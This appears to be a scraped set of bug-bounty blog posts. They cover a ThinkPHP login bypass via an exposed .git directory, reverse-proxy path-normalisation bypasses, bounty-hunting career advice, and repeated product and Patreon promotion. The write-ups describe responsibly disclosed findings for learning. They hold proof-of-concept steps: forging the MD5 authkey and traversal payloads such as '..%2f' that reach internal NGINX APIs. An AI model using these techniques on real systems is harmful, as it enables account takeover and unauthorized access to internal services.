Before we get into it: this was a responsible disclosure engagement, and the vulnerability has since been patched. Because the target is still active and I have an obligation to protect them, I will be redacting a lot of identifying information throughout this write-up. Platform names, URLs, customer IDs, and anything else that could point back to the target have been removed or redacted. What I can share is the technical detail, and honestly, that is the interesting part anyway.

Also worth mentioning: this is not a fresh zero-day. I found this one a while back while hunting on a bug bounty program and sat on writing it up for longer than I probably should have. Figured it was finally time to share it.

Step One: The Exposed .git Directory

This one actually started with a message from a friend. He had stumbled across an exposed .git directory on a web application and reached out to see if I wanted to collab and dig into it together. I said yes without hesitating, because an exposed .git is rarely just an exposed .git.

We pulled the source using git-dumper, which reconstructs an entire codebase from an exposed .git folder even without direct file access to the underlying files. Within a short time we had the full source code of the application sitting locally in front of us.

We started reading through it together. It was a ThinkPHP application, a popular PHP framework. And it was while I was going through the account controller that I stopped and stared at my screen for a second. There was a route in there that should not have existed in a production application, let alone been reachable from the public internet.

The Vulnerable Route: A Superuser Login Shortcut

The route in question was /pc/account/sulogin. From the name alone you can guess what it does. “Su” as in superuser. It is a login-as-any-user function, and it was sitting there, completely reachable from the public internet.

The function accepted two query parameters from the URL: a customer ID (cid) and a computed key (authkey). Here is what it actually did under the hood:

$authkey = $_GET['authkey'];
$cid = $_GET['cid'];

if (md5('REDACTED' . $cid . date('Y-m-d')) == $authkey) {
    $db = D('Customer');
    $map['customer_id'] = $cid;
    $user = $db->where($map)->find();
    if (!empty($user)) {
      session(null);
      session('user', $user);
      $this->redirect("account/myaccount");
    }
} else {
  echo "sulogin error";
}

Let me walk through exactly what this code is doing, because it is important to understand why each line is a problem.

The first two lines pull the authkey and cid values directly out of the URL query string with no sanitisation whatsoever. Whoever is making the request controls both of these values entirely.

The if statement on line three is where the authentication is supposed to happen. It takes a hardcoded string prefix, concatenates the customer ID and today’s date onto it, runs the whole thing through MD5, and checks whether the result matches the authkey you supplied. If it matches, the application considers you authenticated.

If that check passes, it queries the database for a customer record matching the supplied ID, clears any existing session data, and then writes that customer’s full record directly into the session. At that point the application treats you as that user for every subsequent request. You are fully logged in.

The redirect at the end drops you straight into the account dashboard.

There is no password check. No second factor. No rate limiting. No IP restriction. Just that MD5 comparison.

Why This Was Trivial to Forge

The problem is that the authkey is not actually a secret. It is a deterministic value that anyone can compute themselves if they know the formula, and the formula was sitting right there in the source code.

The three inputs to the hash were a hardcoded string prefix visible in the source, the customer ID which was a sequential integer, and today’s date which is obviously not secret information. That means any attacker who has read the source code, which they could do thanks to the exposed .git directory, already has everything they need to compute a valid authkey for any customer ID they choose.

This is the core of the vulnerability. The application was using MD5 as if it were a secret token, but MD5 is just a mathematical function. There is no secret key involved, no randomness, nothing that an attacker cannot independently reproduce. The whole check collapses the moment someone reads the source.

Proof of Concept

The steps to reproduce this were embarrassingly straightforward.

Step one: get a valid customer ID. These were sequential integers so they were trivially enumerable, but I used my own account ID to keep things clean.

Step two: compute the authkey. Open a PHP interactive shell with php -a and run the following:

$cid = "REDACTED";
$authkey = md5('REDACTED' . $cid . date('Y-m-d'));
echo $authkey;

This gives you a 32 character hex string. That string is your forged session key, valid for the rest of the calendar day.

Step three: hit the endpoint. Take your customer ID and the hash you just computed, drop them into the URL as query parameters, and visit it in a browser.

Step four: you are now logged in as that user. No password prompt, no MFA, no friction. The application reads your forged authkey, validates it against the same formula, finds a match, pulls the user record from the database, and writes it into your session. From the application’s perspective you authenticated successfully.

What an Attacker Could Actually Do With This

Once inside an account the attacker has the same privileges as the legitimate account holder. In this application that included:

Viewing personal information: full name, contact details, vehicle information, and purchase history.

Modifying account details: changing the registered email address or phone number, which could be used to permanently lock the real owner out of their own account.

Performing actions on the user’s behalf: submitting requests, interacting with platform services, and potentially making bookings or purchases depending on what the platform exposes to logged in users.

Multiply that across every account on the platform and you have a full user base compromise. Not just a data leak, but full account takeover for every single registered user.

The Root Causes

There are a few things that went wrong here simultaneously, which is usually how these situations go.

The .git directory should never be publicly accessible. If your web server is serving your source code to anyone who asks, no amount of security in the code itself will save you. This is a deployment misconfiguration that web servers and CI/CD pipelines should be explicitly configured to prevent. Without the source code exposure this vulnerability would have been significantly harder to find and exploit.

Predictable, reconstructable tokens are not authentication. If the validity of a token can be computed by someone who does not already have privileged access, it is not providing any security. Proper implementation here would involve cryptographically random tokens tied to a server-side session, or at minimum a secret key that never appears in the source code.

Internal tooling needs to be properly access-controlled. Features built for internal or support use have a habit of outliving their intended deployment context. If a shortcut login function needs to exist at all, it should be gated behind IP allowlisting, admin authentication, or removed entirely from production builds.

MD5 is not suitable for security-sensitive operations. MD5 was not designed as a secure keyed hash function and should not be used as one. For anything security-sensitive, reach for HMAC with a proper secret key and a modern hash function like SHA-256.

Responsible Disclosure

I reported this to the security team promptly with full technical details and a working proof of concept. The vulnerability has since been patched.

If you are running a web application, take five minutes to check whether your .git directory is publicly accessible. You might be surprised what you find.

I hope you found this article informative and I wish you a lovely day ❤

Happy hacking!

After years of research and development, I finally came up with an innovative platform called Cyberlix that I believed could revolutionize the way organizations approach attack surface management. However, creating and launching a new product is an expensive and time-consuming process, and I knew that I needed to find a way to fund my efforts if I wanted to bring Cyberlix to market.

That’s when I decided to start a Patreon page. I saw it as a way to not only secure the financial resources I needed to bring Cyberlix to life but also to connect with and support a community of individuals who shared my passion for cybersecurity. I knew that by offering exclusive content and perks to my patrons, I could build a sense of community and foster a deeper connection with my audience.

Setting up a Patreon page was a smart move for me, as it allowed me to monetize my work in a way that was both sustainable and meaningful. It also gave me the opportunity to continue sharing my knowledge and expertise with others through Cyberlix, which has been incredibly rewarding.

As I worked to bring Cyberlix to market, I faced a number of challenges and setbacks. Despite these challenges, I remained committed to my vision and continued to push forward. I spent countless hours developing and testing the platform, and I was thrilled when it finally reached the point where it was ready for launch.

I knew that launching Cyberlix would be a significant milestone, but I also knew that it was just the beginning. In order to ensure that the platform continued to grow and evolve, I knew that I needed to find a way to fund ongoing development and support. That’s when I decided to start a Patreon page.

I was hesitant at first, as I wasn’t sure if there would be enough interest in my platform to justify starting a Patreon page. But after some research and consideration, I decided to give it a try. I was pleasantly surprised by the response, as my Patreon page quickly gained a number of supporters who were eager to help fund the continued development of Cyberlix.

Thanks to the support of my patrons, I was able to continue working on Cyberlix and bringing new features and updates to the platform. It was gratifying to see my hard work pay off, and I was grateful to be able to connect with such a passionate and supportive community.

Overall, starting a Patreon page was a smart decision for me, and it has played a vital role in helping me bring Cyberlix to market and continue to grow and evolve. I am thankful to all of my patrons for their support, and I am excited to see what the future holds for Cyberlix.

As I look back on my journey with Cyberlix, I am filled with a sense of pride and accomplishment. Starting a Patreon page was a risky move, but it has paid off in ways that I could never have imagined. Not only has it allowed me to fund the ongoing development of my platform, but it has also given me the opportunity to connect with a wonderful community of individuals who share my passion for cybersecurity.

The experience of creating and launching Cyberlix has been an incredibly rewarding one, and I am grateful to have had the opportunity to make a positive impact in the world of cybersecurity. I am also grateful to all of my patrons for their support, as they have played a vital role in helping me bring my vision to life.

I encourage anyone with a passion for a particular subject or cause to consider starting a Patreon page. It can be a challenging and rewarding experience, and it allows you to connect with others who share your passions and interests. So go ahead and take the leap — you never know what amazing things might come your way!

If you enjoyed reading about my journey with Cyberlix and are interested in supporting the continued development and evolution of this innovative attack surface management platform, please consider becoming a patron on my Patreon page: https://www.patreon.com/cyberlix. Your support is greatly appreciated and will help ensure that Cyberlix can continue to grow and improve. Thank you for your support!

Breaking path normalisation has been my biggest interest in the past couple of years. Let me explain exactly why I have chosen to invest time in this attack vector, and how to exploit it. Firstly, let me introduce myself, my name is Blake, and I’m a part-time software engineer at Pentesterlab, an SRT member for Synack and a pentester for Cobalt.

Why Did I Invest Time In Path Normalisation?

Path normalization is one of those hit-and-miss vulnerabilities but to exploit it, it requires pure logical thinking. There are no real patterns to look for like XSS or other types of attacks where the payload is reflected, It’s just trial and error looking for nuances, and differences in the response. The post-adrenaline rush, once you hit something internal, is orgasmic; not just that, it generally always has a solid impact when you hit an internal path, think about it they are hiding these internal services/APIs because they don’t want the public to see the sensitive information, so they implement reverse proxies to shut them off from the public.

What is Path Normalization?

Normalizing a path involves modifying the string that identifies a path or file so that it conforms to a valid path on the target operating system. Normalization typically involves Canonicalizing components and directory separators.

Developers use this when they are writing reverse proxy rules to block certain internal paths from being passed through and upstreamed to internal services. This is what we are breaking, it involves path traversals and other bypass techniques.

Note: Don’t be confused with LFI though, we're not accessing internal files, we're accessing internal paths.

Here is a picture of a valid attack:

What Impact Can We Achieve?

Impact for path normalization can be a range of things such as:

• Sensitive information leaks
• Access to Internal Services like JBoss EAP, Tomcat, AEM and APIS + more
• Some even have RCE by design.
• Some allow you to write to the API for higher impact.

The impact is very high in most cases.

What tools do I use?

I keep it simple, KISS (Keep It Stupid Simple)

Tools:

• chrome dev tools
• ffuf
• Dirsearch
• Burp
• Assetnote Wordlists
• Seclists

As I said, it requires pure logic to find these vulns. 🧠

What Did The Crypto Hack Look Like?

Okay, enough of the technical side of things, let’s talk about my hack and what the massive impact was. Before I get into details, the bug can not be disclosed at the moment, so everything will be redacted.

I started off using Chrome dev tools and was looking through the XHR requests and Documents, I noticed there was not much there so I decided to open up Burp and start crawling the in-scope assets. I generally test all paths with my pre-build wordlist and my brain, I noticed in one path I hit the internal root API, performed directory brute-forcing and could access the User Center API.

https://api.example.com/public/path/config/..;/..;/internal/path

This did not provide much impact, so I continued testing other paths.

FYI: Every path may contain a different backend service/API to access, the external attack surface is much higher with these types of attacks.

Upon investigation, I found another path, so I performed my usual tests with a combination of traversing and directory bruteforcing I could access the Internal Admin Balance API which leaked admin funds and I could perform various admin functions like:

• Withdrawl Funds
• View Token History
• View Balance

This had some solid impact, if this was not reported on time the potential disaster is very high, if a malicious hacker found this before I did, they could clean out his account and send the company broke. I reported it 2 days later, It got triaged and fixed within 1 day and they paid me $9,000USD which is about $12,000 in my currency.

If my content interests you, then you’ll want to check out Dirstrike, our latest SaaS built for high-scale directory brute-forcing without worrying about rate limits or IP bans. Join our Discord: https://discord.gg/4Q4WgNR5wg and help us make this platform even better. Your support is greatly appreciated!

I hope you enjoyed this story, feel free to follow me on Twitter and clap to this story, until next time.

• https://twitter.com/z0idsec

Happy hacking.

Peace!✌️

Hey hackers, I hope you are all doing well. This write-up will be about the do’s and don’ts in bug bounty hunting and the pros & cons.

I first want to explain the pros & cons and this big misconception about earning millions of dollars bug hunting and quitting your daytime job to work full-time as a bug bounty hunter.

Disclaimer! I’m not saying anything of this you should not do, it’s just based on my own opinion.

Why Becoming A Million Air Hacker Is Hard

A lot of people in the bug bounty community are hunting to earn money, yes! money is great, we all need money to survive, except some people's expectations are way too high and they think that they can make millions of dollars in bug bounty hunting. This is not a good mindset to have, the reason being is if you have this vision that you are going to be earning lots of money bug hunting then you will enter the competitive game of bug bounty hunting with the mindset that you will be earning lots of money. This mindset is very! unhealthy because when you realise how hard it is to earn consistent payouts you are most likely going to quit or feel very very unmotivated and your mind will think that you are not a good hacker, which can feel very bad.

The million air hackers that you hear about online and on social media have been hacking since they were very young or they just have a unique mindset that no one will understand, they have been in this game since the beginning they have everything mapped out, they know there targets infrastructure, naming conventions, they have already collected recon and they are just brilliant minded people which we should all respect not be Jealous.

The correct mindset in my opinion is to enter this extremely competitive hacking game with a vision of gaining experience and reputation. There are so many good things about this mindset one being the potential work opportunity which therefore leads to consistent earnings. I’m going to be completely honest, I don’t have any certifications and I don’t think I ever will just because I love the freedom of learning at my own pace, I get lots more done that way and I can retain more knowledge and information.

How Can I Become A Successful Hacker?

Before I go over this question, I would like to ask you two questions.

• Are you wanting to reach the destination fast?
• Are you hacking because you like it and it’s your passion?

If you selected number two then that’s great! I think you are awesome.

If you selected number one then you are not in it to become a successful hacker you are in it for the short term, which I don’t like.

My way I became reasonably good at hacking, not a leet, no one is a leet because there is so much to learn and so many different fields of hacking that branch off to different directions people who claim that they are leets, are just kids in my opinion and it’s very immature, to be honest. The way I learnt hacking, was to pick an area that I liked and felt comfortable learning and researching about it. Mine started off learning wireless security then Bluetooth security and now Web security, I found that I enjoyed web hacking much more than the others and it felt better, it was never about the money for me.

I started off reading the web applications handbook

The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws

Then I researched each vulnerability class on Google and started practising in the wild.

I decided to go further with this and did some micro-courses on Cybrary

Cybersecurity Courses & Cyber Security Training Online | Cybrary

They provide a very good comprehensive secure code course which I enjoyed.

I then discovered there were bug bounty programs out there so I signed up and started testing on sites they provided, and yes!! it was very very hard.

It took about 1 year before I got my first bounty and it was a crappy vulnerability that Nessus found. I kept learning, researching and reaching out to people for some help and one thing to note when reaching out to people.

Never spam people and ask them a million things at once, be very direct and to the point they are not going to tell you everything they are going to want you to learn yourself, if you cannot learn yourself then you will never be a successful hacker it’s all about research.

After being in the game for some time now, I can proudly say that there is ONE MASSIVE GAME CHANGER, do you want to hear? ok, here we go. Never impulsively report, always provide impact and never just report when you find something for example Cross-Site Scripting I can understand how hard this would be and don’t worry I was in the same boat, I always reported XSS because my mindset was I’m going to get a payout but until you learn not to do this and stay away from the crowd, you will most likely get some N/A or informative. Some of the ways you can avoid N/A’s are:

• Stay away from vulnerabilities everyone else is reporting.

if it is a vulnerability that’s very common to report like XSS look for this vulnerability in places where no one has looked before or come up with a new method to look for it. e.g: Dispatcher Bypasses in Adobe Experience Manager -> XSS

• Stay away from tools that everyone else is using such as nuclei.

if you use tools like nuclei make sure you develop your templates that are not listed on their repository, this will increase the chance of finding vulnerabilities no one else has found.

• Choose a vulnerability class and get good at it.

This was one of my biggest game-changers because I chose a class that not many people look for which helped me improve my P1 skills.

• Collaborate with other hackers and expand your connections.

Building up connections can help improve your hacking skills and it just feels good to meet other people who have the same interests.

What are the Pro’s and Con’s

I saved the best til the last.

Pro’s

The great thing about bug bounty hunting is it puts your foot in the door, you pretty much have to do most things a professional pentester would do during a pentest except at a much smaller scale like you would not need to write a massive report with an executive summary, risk matrices, scope, methodology, documentation of findings with a detailed summary, mitigations and so on, it just needs to be written well and explained well enough so the triager understands the impact. Another pro is it can pay well and it most certainly allows you to build a reputation and become a better hacker, which may lead to a job opportunity.

Cons

Some of the bad things would most certainly be going down the rabbit hole of earning heaps of money. Another common one is people quitting their job to work full-time as bug hunters which is a massive risk to take. It’s also very hard to find bugs because the targets you are given people have already tested before you and you are in the unknown if someone has found a particular vulnerability. Payouts can take weeks, it’s very competitive now and you need to have a different mindset than other hackers lastly, you can get burnt out quickly and feel down for ages.

Summary

So, that is pretty much the end of my write-up, to summarise what I talked about in bullet form:

• Don’t compare yourself to others
• Don’t rely on money too much
• Avoid risks as much as you can
• Collaborate and respect people
• Hacking should be considered a passion
• Stay away from the crowd

And finally, be the best person you can be, we all make mistakes if we didn't we would not be human, mistakes are a way of learning.

Like my content? Then you’ll love Dirstrike, our newest SaaS that takes directory brute-forcing to the next level — bypassing rate limits and IP bans effortlessly. Join our Discord: https://discord.gg/4Q4WgNR5wg and be part of this journey. Your support means the world to us!

I hope you enjoyed this write-up and I hope you have all learnt something new and exciting to try, until next time happy hacking have a nice day.

Peace out! ✌️

Hi hackers, in this talk I will explain how I could direct traffic from an internal server to my own by breaking the way their reverse proxy’s requests are handled.

First of all, thank you for taking the time to read this post and I hope you learn something new from this so, sit back grab a coffee and enjoy.

How do reverse proxies work?

A reverse proxy will sit between the public-facing web and the internal servers acting as an intermediate server its main job is to process the requests coming through the proxy and upstream them to the appropriate servers.

Let’s have a look at a little scenario, say we have a website

http://company.com

with a backend portal with all the customer's PII data but we don’t want this to be accessible to the public, let’s give this a hostname

http://portal.company.com:8282/

Without a reverse proxy, we would be able to access the portal directly from the browser because there is no gateway stopping anyone from accessing the portal. To stop external access, we would need to implement an intermediate proxy that sits between the website and the backend portal blocking or denying clients requests who are trying to access the portal directly from the browser. This can be done with reverse proxies such as:

• Nginx
• Apache
• HAProxy
• Squid

Nginx is one of the most popular reverse proxies.

You can configure them with rules or filters that tell that reverse proxy how to handle the requests being passed through.

Unfortunately, oftentimes people use bad parser logic, and bad regular expressions which allow hackers to easily break the logic Implemented allowing them to access internal servers, for example, the portal I explained above which would lead them to gain access to all the customer's PII data.

Path Normalisation goes Boom!!

I want to dive deep into one of my recent P1 findings on a private bug crowd program I was invited to. We will focus on secondary context path traversal for now because there are so many different types of reverse proxies, load balancers and caching server vulnerabilities with different variants, secondary context path traversal being one of them.

1.) My initial recon always starts with Chrome dev tools I like to make sure only Fetch/XHR and Docs are checked and everything else unchecked this greatly reduces the number of static files that get populated, FYI never ignore these files because in some cases they can help.

2.) I was looking through the requests in Chrome dev tools and found an API endpoint that looked rather interesting, so I immediately ran ffuf with some common path traversal payloads:

• /experience/..;/
• /experience/../
• /experience/..%2f
• /experience/%2e%2e%2f

3.) I use a much larger list, these are just a few out of many I try. I looked out for the nuances in the response and noticed that they all returned 403 except

/experience/..%2f

returned a 404

4.) This is a great indicator that we may be hitting the internal root of the API. To test this further I went back to one directory to see if anything changed

/experience/..%2f..%2f

This resulted in a 400 Bad Request which made me enter hacker mode, I put on some cyberpunk music and performed some content discovery on the path which resulted in the 404 Explained above in step 4.☝️

/experience/..%2fHERE

At this point I knew it was an Nginx reverse proxy because the 400 Bad Request leaked the server type, all I needed was a path that yielded a valid 200 Ok, I was procrastinating watching YouTube videos while the content discovery finished, it was a small scope so I had every right to sit back while the scanned finished 😂 shhh…. just kidding never do this during a pentest you need to make sure you're always doing something.

I looked at the scan results after watching IPsec on YouTube and found that there was a path /api and a dashboard.html file that both resulted in a 200 Ok with different responses I immediately navigated to it

/experience/..%2fdashboard.html

And noticed that it was an NGINX Plus API.

Live Activity Monitoring of NGINX Plus

To be 100% sure this is internal and we have a valid hit, I needed to verify dashboard.html and /api was not accessible in the web root being

http://example.com/dashboard.html

and

http://example.com/api

which resulted in a 403 in both cases so this means we have a valid hit.

There was nothing much on the dashboard.html so I had a look at the /api path that was found which contained all these numbers in JSON, so I looked at the Nginx API docs.

http://nginx.org/en/docs/http/ngx_http_api_module.html#example

and collected intel on these numbers and found that they are different versions of the API, I navigated to one of the versions which contained some pretty interesting stuff, these were the different paths I could hit:

/experience/..%2f/api/7/
/experience/..%2f/api/7/nginx
/experience/..%2f/api/7/connections
/experience/..%2f/api/7/http/requests
/experience/..%2f/api/7/http/server_zones/server_backend
/experience/..%2f/api/7/http/caches/cache_backend
/experience/..%2f/api/7/http/upstreams/backend
/experience/..%2f/api/7/http/upstreams/backend/servers/
/experience/..%2f/api/7/http/upstreams/backend/servers/1
/experience/..%2f/api/7/http/keyvals/one?key=arg1
/experience/..%2f/api/7/stream/
/experience/..%2f/api/7/stream/server_zones/server_backend
/experience/..%2f/api/7/stream/upstreams/
/experience/..%2f/api/7/stream/upstreams/backend
/experience/..%2f/api/7/stream/upstreams/backend/servers/1

At this point, I had a P3 and my inner hacker beast did not wanna give up he wanted to escalate this to a P1, so I reached out to some mates on Slack and one came up with the idea of trying to write to the API. I had a look at the API docs some more and found many POST & GET verbs for some of the paths except it was documented that writing to the API is disabled by default.

I kinda lost all hope.

But remember to never give up, there is always a chance so I played around with the different parameters assuming it would not allow me to write to the API except….. Wait…. 204. WTF, it worked I was able to create my upstream and write to the API which escalated it to a P1 and was triaged within an hour.

This was my final POC:

here is the response:

Impact

Malicious threat actors or APTs can create their upstreams to re-route traffic to their servers and disrupt internal services.

Final Takeaways

My final takeaways would be to always stay away from the crowd and never rely on tools that everyone else is using, always come up with your templates, wordlist & methods, and utilise manual testing procedures because it allows you to look much deeper into the websites core logic, also think outside the box pretend you are the developer making the mistakes. With secondary context path traversal, always test every single path and recursively go through each one, one by one because every path may contain something different.

If you’re a fan of my work, you’ll want to check out Dirstrike, our latest SaaS built for large-scale directory brute-forcing. Say goodbye to rate limits and IP bans! Join our Discord: https://discord.gg/4Q4WgNR5wg and help us turn this into something huge. Your support is truly appreciated!

I hope you enjoyed this post, and until next time happy hacking 🔥

Peace out ✌️